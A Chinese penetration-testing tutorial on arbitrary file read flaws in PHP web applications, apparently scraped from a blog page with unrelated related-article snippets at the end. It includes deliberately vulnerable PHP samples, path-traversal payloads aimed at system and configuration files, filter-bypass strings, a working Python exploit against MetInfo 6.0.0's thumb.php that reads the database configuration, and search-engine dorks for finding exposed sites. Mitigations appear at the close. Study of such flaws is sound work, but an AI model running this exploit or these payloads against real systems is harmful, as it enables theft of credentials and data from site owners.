任意文件读取
文章目录
- 渗透测试漏洞原理
- 任意文件读取
- 1. 任意文件读取概述
- 1.1 漏洞成因
- 1.2 漏洞危害
- 1.3 漏洞分类
- 1.4 任意文件读取
- 1.4.1 文件读取
- 1.4.2 任意文件读取
- 1.4.3 权限问题
- 1.5 任意文件下载
- 1.5.1 一般情况
- 1.5.2 PHP实现
- 1.5.3 任意文件下载
- 2. 任意文件读取攻防
- 2.1 路径过滤
- 2.1.1 过滤../
- 2.2 简单绕过
- 2.2.1 双写绕过
- 2.2.2 绝对路径
- 2.2.3 使用..\
- 2.2.4 设置白名单
- 3. 任意文件读取挖掘
- 3.1 手工挖掘
- 3.2 经典案例(metlnfo_6.0.0_file-read)
- 3.2.1 漏洞描述
- 3.2.2 漏洞等级
- 3.2.3 影响版本
- 3.2.4 漏洞复现
- 3.2.5 漏洞点分析
- 3.2.6 深度利用
- 3.2.7 修复建议
- 4. 漏洞修复方案
- 4.1 输入验证
- 4.2 避免其他漏洞
- 4.3 限定文件的访问范围
渗透测试漏洞原理
任意文件读取
1. 任意文件读取概述
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。
- 任意文件读取会造成(敏感)信息泄露:
- 任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
- 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
1.1 漏洞成因
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
- 存在读取文件的功能(函数),也就是说,Wb应用开放了文件读取功能:
- 读取文件的路径客户端可控,完全控制或影响文件路径参数:
- 没有对文件路径进行校验或者校验不严导致校验被绕过,
- 输出了文件的内容。
1.2 漏洞危害
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。
任意文件读取与下载重点关注的文件:
- 源代码
- 配置文件
- 敏感文件
- 日志文件
- …
1.3 漏洞分类
- 任意文件读取
- 任意文件下载
1.4 任意文件读取
以PHP脚本为例子,有一些函数可以实现文件读取功能。
1.4.1 文件读取
读取文件的函数 | 函数特点 |
---|---|
readfile() | 直接读取文件内容 自带输出功能 |
feed() | 直接读取文件内容 需要输出读取内容 |
fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
函数具体介绍:PHP: Hypertext Preprocessor。
实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。
readfile:
// readfile.php
<?php$fp = "../phpinfo.php"; readfile($fp);
?>
访问页面,查看页面源代码,读取成功。
file_get_contents:
// file_get_contents.php
<?php$fp = "../phpinfo.php"; echo file_get_contents($fp);
?>
访问页面,查看页面源代码,读取成功。
fread:
// fread.php
<?php$fp = "../phpinfo.php";$f = fopen($fp,'r'); //打开文件$f_size = filesize($fp); //计算文件大小echo fread($f, $f_size); //读取文件内容并输出到页面上fclose($f);
?>
访问页面,查看页面源代码,读取成功。
1.4.2 任意文件读取
变量$fp,会捕获GET方式传递过来的filepath参数。
$fp = @$_GET['filepath'];
filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts
1.4.3 权限问题
- Windows + IIS + ASP/ASPX:低权限
- Windows + Apache + php:高权限
- Windows + Java:高权限
- Linux + Apache + PHP:低权限
- Linux + Nginx + PHP:不一定
- Linux + Java:高权限
1.5 任意文件下载
1.5.1 一般情况
直接下载:例如图片另存为。
a标签下载:
<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP实现
PHP文件下载实现过程:
- 先读取文件
- 在输出文件
- 提供下载
// file-download.php<?php$fp = './a.jpg';header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>
1.5.3 任意文件下载
任意文件下载的条件:
- 已知目标文件路径
- 目标文件路径,客户端可控
- 没有经过校验或校验不严格
$fp = $_GET['filepath'];
实验:
<?php$fp = $_GET['filepath'];// header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>
下载成功
文件内容如下:
2. 任意文件读取攻防
2.1 路径过滤
2.1.1 过滤…/
<?php$fp = @$_GET['filepath'];$fp = str_replace("../","",$fp); readfile($fp);
?>
2.2 简单绕过
2.2.1 双写绕过
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2 绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3 使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
2.2.4 设置白名单
设置只能访问a,b,cPHP文件
<?php$fp = @$_GET['filepath'];if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){readfile($fp);}else{echo "Please stop!";}
?>
3. 任意文件读取挖掘
3.1 手工挖掘
从文件名上看 | 从参数名上看 |
---|---|
readfile.php filedownload.php filelist.php | f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= |
3.2 经典案例(metlnfo_6.0.0_file-read)
下载链接:MetInfo历史版本与文件。
说明 | 内容 |
---|---|
漏洞编号 | – |
漏洞名称 | MetInfo 6.0.0 任意文件读取漏洞 |
漏洞评级 | 高危 |
影响范围 | MetInfo 6.0.0 |
漏洞描述 | MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。 |
修复方案 | 打补丁 升级 上设备 |
3.2.1 漏洞描述
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php
文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
3.2.2 漏洞等级
高危
3.2.3 影响版本
MetInfo 6.0.0
3.2.4 漏洞复现
基础环境
组件 | 版本 |
---|---|
OS | Microsoft Windows Server 2016 Standard |
Web Server | phpStudy 2016 |
MetInfo | 6.0.0 |
安装过程
访问页面
漏洞点
/include/thumb.php
页面访问该路径
http://127.0.0.1/MetInfo_6.0.0/include/thumb.php
使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。
将抓取到的数据包右键发送到重发器上。
第一次测试
/include/thumb.php?dir=..././http/..././config/config_db.php
第二次测试
/include/thumb.php?dir=.....///http/.....///config/config_db.php
第三次测试
/include/thumb.php?dir=http/.....///.....///config/config_db.php
第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php
注意:
- 此POC 仅适用于Windows 系统,Linux 下无效。
- 因为输入的右斜线\在windows中作为目录的分隔符,而linux中不是。
3.2.5 漏洞点分析
漏洞点产生位置在thumb.php文件
加载old_thumb类
说明:这里的防守做两步判断
-
将…/和./全部过滤为空。
-
if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。
-
readfile():任意文件读取函数
-
dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。
3.2.6 深度利用
exp编写
import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__ __________ .___\_ _____/|__| | ____ \______ \ ____ _____ __| _/| __) | | | _/ __ \ | _// __ \\__ \ / __ | | \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ | \___ / |__|____/\___ > |____|_ /\___ >____ /\____ | \/ \/ \/ \/ \/ \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir": param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)
漏洞挖掘
指纹信息
传统搜索引擎
Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"
FOFA
app="metinfo"
ZoomEye
app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.7 修复建议
- 打补丁
- 升级
- 上设备
4. 漏洞修复方案
4.1 输入验证
- 让web用户只能访问(读取),所需要的文件和路径。
4.2 避免其他漏洞
- 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。
4.3 限定文件的访问范围
让用户不能访问Web根目录以外的路径。
php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围。
open_basedir = C:\software\phpstudy_pro\WWW
实验
不做限定的情况:
做限定的情况:
但是这样还有读取到当前的配置文件。
解决方式:所有的修复方案需要配合使用。
相关文章:
任意文件读取
文章目录 渗透测试漏洞原理任意文件读取1. 任意文件读取概述1.1 漏洞成因1.2 漏洞危害1.3 漏洞分类1.4 任意文件读取1.4.1 文件读取1.4.2 任意文件读取1.4.3 权限问题 1.5 任意文件下载1.5.1 一般情况1.5.2 PHP实现1.5.3 任意文件下载 2. 任意文件读取攻防2.1 路径过滤2.1.1 过…...
微信小程序餐饮外卖系统设计与实现
摘 要 随着现在的“互联网”的不断发展。现在传统的餐饮业也朝着网络化的方向不断的发展。现在线上线下的方式来实现餐饮的获客渠道增加,可以更好地帮助餐饮企业实现更多、更广的获客需求,实现更好的餐饮销售。截止到2021年末,我国的外卖市场…...
一文速览嵌入式六大出口
嵌入式行业的前景确实十分广阔,并且在许多领域都发挥着重要作用。以下是一些关键点,说明嵌入式系统的发展潜力和前途: 1. 物联网(IoT):嵌入式系统是实现智能家居、智能城市、智能工厂等物联网设备的核心。物…...
华为云云服务器评测 | 宝塔8.0镜像应用
目录 🍒写在前面 🍒产品优势 🍒购买服务器 🍒服务器配置 🍒登录宝塔页面 🦐博客主页:大虾好吃吗的博客 🦐专栏地址:闲谈专栏地址 写在前面 云耀云服务器L实例是新一代开箱…...
构建简单的Node.js HTTP服务器,发布公网远程访问的快速方法
文章目录 前言1.安装Node.js环境2.创建node.js服务3. 访问node.js 服务4.内网穿透4.1 安装配置cpolar内网穿透4.2 创建隧道映射本地端口 5.固定公网地址 前言 Node.js 是能够在服务器端运行 JavaScript 的开放源代码、跨平台运行环境。Node.js 由 OpenJS Foundation࿰…...
ModaHub魔搭社区:向量数据库产业的现状与技术挑战
I. 向量数据库的崛起 什么是向量数据库 在过去的一段时间里,向量数据库逐渐在数据库领域崭露头角。那么,什么是向量数据库呢?简单来说,向量数据库是一种专门设计用来处理向量数据的数据库。这些向量数据可以是物理测量、机器学习模型输出、地理空间数据等。向量数据库使用…...
pmp和软件高项哪个含金量高?
人们常将PMP和高项放在一起比较,因为这两种证书都适用于项目经理职位,它们有高达60%的知识点重合度。在决定考哪一种证书之前,人们常常会感到困惑。 下面看一下pmp和软考高项的差异。 发证机构不同 PMP(Project Management Professional)是…...
手把手教你用Vite构建第一个Vue3项目
写在前面 在之前的文章中写过“如何创建第一个vue项目”,但那篇文章写的是创建vue2的 项目。 传送门如何创建第一个vue项目 打开Vue.js官网:https://cn.vuejs.org/,我们会发现Vue 2 将于 2023 年 12 月 31 日停止维护 虽然Vue2的项目还不少࿰…...
美创科技获通信网络安全服务能力评定(应急响应一级)认证!
近日,中国通信企业协会公布通信网络安全服务能力评定2023年第一批获证企业名单。 美创科技获得应急响应一级资质,成为2023年第一批获证企业之一! 通信网络安全服务能力评定是对通信网络安全服务单位从事通信网络安全服务综合能力的评定&#…...
计算机视觉与人工智能在医美人脸皮肤诊断方面的应用
一、人脸皮肤诊断方法 近年来,随着计算机技术和人工智能的不断发展,中医领域开始逐渐探索利用这些先进技术来辅助面诊和诊断。在皮肤望诊方面,也出现了一些现代研究,尝试通过图像分析技术和人工智能算法来客观化地获取皮肤相关的…...
RCU501 RMP201-8 KONGSBERG 分布式处理单元
RCU501 RMP201-8 KONGSBERG 分布式处理单元 AutoChief600使用直接安装在主机接线盒中的分布式处理单元。进出发动机的所有信号都在双冗余CAN线路(发动机总线)上传输。 所有不重要的传感器都可以与K-Chief 600报警和监控系统共享,只需要一个主机接口。这一原则大大…...
说说 MVCC 的工作原理?
分析&回答 多版本并发控制(MVCC) InnoDB的MVCC,是通过在每行记录后面保存两个隐藏的列来实现。这两个列,一个保存了行的创建时间,一个保存行的删除时间,并不是实际的时间,而是系统版本号。每开始一个新的事务&am…...
微信小程序请求接口返回的二维码(图片),本地工具和真机测试都能显示,上线之后不显示问题
请求后端接口返回的图片: 页面展示: 代码实现: :show-menu-by-longpress"true" 是长按保存图片 base64Code 是转为base64的地址 <image class"code" :src"base64Code" alt"" :show-menu-by-long…...
Python小知识 - 1. Python装饰器(decorator)
Python装饰器(decorator) Python装饰器是一个很有用的功能,它可以让我们在不修改原有代码的情况下,为已有的函数或类添加额外的功能。 常见的使用场景有: a. 函数缓存:对于一些计算量较大的函数,…...
如何访问GitHub
1、手动修改hosts 1.1、查找到最新的GitHub的hosts信息 通过链接:https://raw.hellogithub.com/hosts 进行查找最新的GitHub的hosts信息 1.2、查找到hosts文件位置 先找到 hosts 文件的位置,不同操作系统,hosts 文件的存储位置也不同&…...
【广州华锐互动】智能变电站AR仿真实训系统大大提高培训的效率和质量
随着电力行业的不断发展,变电站的建设和运维变得越来越重要。传统的变电站运维培训方式存在着诸多问题,如难以真实模拟变电站运行环境、信息传递不及时、难以掌握实际操作技能等问题。而智能变电站AR仿真实训系统可以为变电站运维人员带来全新的培训方式…...
手写Mybatis:第11章-流程解耦,封装结果集处理器
文章目录 一、目标:结果集处理器二、设计:结果集处理器三、实现:结果集处理器3.1 工程结构3.2 结果集处理器关系图3.3 出参参数处理3.3.1 结果映射Map3.3.2 结果映射封装3.3.3 修改映射器语句类3.3.4 映射构建器助手3.3.5 语句构建器调用助手…...
金融风控数据分析-信用评分卡建模(附数据集下载地址)
本文引用自: 金融风控:信用评分卡建模流程 - 知乎 (zhihu.com) 在原文的基础上加上了一部分自己的理解,转载在CSDN上作为保留记录。 本文涉及到的数据集可直接从天池上面下载: Give Me Some Credit给我一些荣誉_数据集-阿里云…...
ceph对象三元素data、xattr、omap
这里有一个ceph的原则,就是所有存储的不管是块设备、对象存储、文件存储最后都转化成了底层的对象object,这个object包含3个元素data,xattr,omap。data是保存对象的数据,xattr是保存对象的扩展属性,每个对象…...
使用 BERT 进行文本分类 (03/3)
一、说明 在使用BERT(2)进行文本分类时,我们讨论了什么是PyTorch以及如何预处理我们的数据,以便可以使用BERT模型对其进行分析。在这篇文章中,我将向您展示如何训练分类器并对其进行评估。 二、准备数据的又一个步骤 …...
Leetcode Top 100 Liked Questions(序号236~347)
236. Lowest Common Ancestor of a Binary Tree 题意:二叉树,求最近公共祖先,All Node.val are unique. 我的思路 首先把每个节点的深度得到,之后不停向上,直到val相同,存深度就用map存吧 但是它没有向…...
MySQL数据库学习【基础篇】
📃基础篇 下方链接使用科学上网速度可能会更加快一点哦! 请点击查看数据库MySQL笔记大全 通用语法及分类 DDL: 数据定义语言,用来定义数据库对象(数据库、表、字段)DML: 数据操作语言,用来对数据库表中的…...
Kubernetes技术--k8s核心技术Service服务
1.service概述 Service 是 Kubernetes 最核心概念,通过创建 Service,可以为一组具有相同功能的容器应用提供一个统一的入口地址,并且将请求负载分发到后端的各个容器应用上。 2.service存在的意义 -1:防止pod失联(服务发现) 我们先说一下什么叫pod失联。 -2:...
OpenHarmony 应用 ArkUI 状态管理开发范例
本文转载自《#2023 盲盒码 # OpenHarmony 应用 ArkUI 状态管理开发范例》,作者:zhushangyuan_ 本文根据橘子购物应用,实现 ArkUI 中的状态管理。 在声明式 UI 编程框架中,UI 是程序状态的运行结果,用户构建了一个 UI …...
二、QTableWidget 类 clear() 和 clearContents() 的区别及程序崩溃原因分析
问题描述:区分 QTableWidget 类的 clear() 和 clearContents() 的用法,以及可能由于这两个方法使用不当导致程序崩溃的原因分析 Qt 官方文档对 QTableWidget 类的 clear() 方法描述如下: [slot] void QTableWidget::clear() Removes all ite…...
spring boot 项目中搭建 ElasticSearch 中间件 一 postman 操作 es
postman 操作 es 1. 简介2. 环境3. postman操作索引3.1 创建索引3.2 查看索引3.3 查看所有索引3.4 删除索引 4. postman操作文档4.1 添加文档4.2 查询文档4.3 查询全部文档4.4 更新文档4.5 局部更新文档4.6 删除文档4.7 条件查询文档14.8 条件查询文档24.9 条件查询文档 limit4…...
设计模式—观察者模式(Observer)
目录 思维导图 一、什么是观察者模式? 二、有什么优点吗? 三、有什么缺点吗? 四、什么时候使用观察者模式? 五、代码展示 ①、双向耦合的代码 ②、解耦实践一 ③、解耦实践二 ④、观察者模式 六、这个模式涉及到了哪些…...
分类算法系列③:模型选择与调优 (Facebook签到位置预测)
目录 模型选择与调优 1、介绍 模型选择(Model Selection): 调优(Hyperparameter Tuning): 本章重点 2、交叉验证 介绍 为什么需要交叉验证 数据处理 3、⭐超参数搜索-网格搜索(Grid Search) 介绍…...
PCL RANSAC分割提取多个空间圆
目录 一、概述二、代码实现三、结果展示1、原始数据2、提取结果四、测试数据本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、概述 使用PCL分割提取多个空间圆,其核心原理仍然是RANSAC拟合空间圆,这里只是做简单修改…...
Java八股文学习笔记day01
01.和equals区别 对于字符串变量来说,使用""和"equals"比较字符串时,其比较方法不同。""比较两个变量本身的值,即两个对象在内存中的首地址,"equals"比较字符串包含内容是否相同。 对于非…...
温江网站制作/新品推广策划方案
/** * 对二维数组进行排序 * access public * param array $list 对二维数组 * param string $field 排序的键名 * param string $sortby 排序类型 (asc正向排序 desc逆向排序 nat自然排序) * return array */ private function list_sort_by($li…...
o2o网站建设资讯/网络推广比较经典和常用的方法有
配置如下:cpu: 扣肉 E6300HDD:WD 250G(SATAII 16M)mother board: foxconn 946GZpower:长城350Wmemory:DDR2 667 1G*2测试一段时间稳定后会托管起来,至于做什么用途,我暂时还没有明确的方向。我想尝试的是提供asp服务。当然如果有客户需要&…...
动漫制作专业怎么样/seo整站优化外包
本地机windows从云服务器linux下载上传文件Zilin 2018.12.15方案一:可用xShell,非常强大,可以拖拉上传文件Zilin 2018.3.28方案二:Putty步骤:1、安装 putty-64bit-0.70-installer.msi2、打开cmd命令窗口,进…...
科技企业网站/搜索引擎营销包括
1、__ new__, __ init__, __ call__ __ new__(cls, *args, **kwargs) 创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身 __ init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化&…...
做贸易要看什么网站/百度推广优化排名
这个幽默又具有破坏力的病毒恐怕最近中招的不少,来看看这篇技术分析:一、熊猫烧香有几个变种? 到目前为止,从大体上分,目前主要有四大变种,变种A我们已经分析,见本版,变种B的就是大家常说的spoclsv.exe进程,它藏的全路径是:% SystemRoot%/Driversspoclsv.exe,其它部…...
wordpress瀑布墙/广州各区风险区域最新动态
计算机应用基础模拟题及答案计算机应用基础模拟真题一、选择题1.当前的计算机一般称为第四代计算机,它所采用的逻辑元件是( )。A.晶体管 B.集成电路 C.电子管 D.大规模集成电路2.计算机可以进行自动处理的基础是( )A.存储程序 B.快速运算C.能进行逻辑判断 D.计算精度…...